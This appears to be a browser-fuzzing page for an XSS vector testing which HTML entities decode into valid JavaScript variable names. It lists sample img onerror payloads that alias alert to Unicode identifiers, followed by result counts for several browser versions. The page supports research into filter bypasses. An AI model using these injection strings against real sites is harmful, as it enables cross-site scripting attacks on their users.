Entities allowed as JS variables
This vector shows which entities are allowed as JS variables.
Created byhackvertor
Created Jul 2, 2024
Updated May 27, 2025
Detecting browser...
CategoryEntity Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml_entities
Template used:
<img src=data: onerror="$[data1]=log;$[data1]('html($[data1])')">Sample payloads
<img src=data: onerror="Á=alert;Á('&Aacute;')"><img src=data: onerror="á=alert;á('&aacute;')"><img src=data: onerror="Ă=alert;Ă('&Abreve;')"><img src=data: onerror="ă=alert;ă('&abreve;')"><img src=data: onerror="Â=alert;Â('&Acirc;')"><img src=data: onerror="â=alert;â('&acirc;')"><img src=data: onerror="А=alert;А('&Acy;')"><img src=data: onerror="а=alert;а('&acy;')"><img src=data: onerror="Æ=alert;Æ('&AElig;')"><img src=data: onerror="æ=alert;æ('&aelig;')"><img src=data: onerror="𝔄=alert;𝔄('&Afr;')"><img src=data: onerror="𝔞=alert;𝔞('&afr;')"><img src=data: onerror="À=alert;À('&Agrave;')"><img src=data: onerror="à=alert;à('&agrave;')"><img src=data: onerror="ℵ=alert;ℵ('&alefsym;')"><img src=data: onerror="ℵ=alert;ℵ('&aleph;')"><img src=data: onerror="Α=alert;Α('&Alpha;')"><img src=data: onerror="α=alert;α('&alpha;')"><img src=data: onerror="Ā=alert;Ā('&Amacr;')"><img src=data: onerror="ā=alert;ā('&amacr;')">Fuzz results
Chrome 144.0.0.0 desktop Windows NT 10.0
Updated31 Jan 2026
Found 577 results
Loading...
Chrome 143.0.0.0 desktop macOS 10.15.7older version
Updated28 Jan 2026
Found 577 results
Loading...
Firefox 147.0 desktop Linux
Updated1 Feb 2026
Found 577 results
Loading...
Firefox 127.0 desktop macOS 10.15older version
Updated2 Jul 2024
Found 577 results
Loading...
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0
Updated31 Jan 2026
Found 577 results
Loading...
Safari 17.4 desktop macOS 10.15.7
Updated2 Jul 2024
Found 577 results
Loading...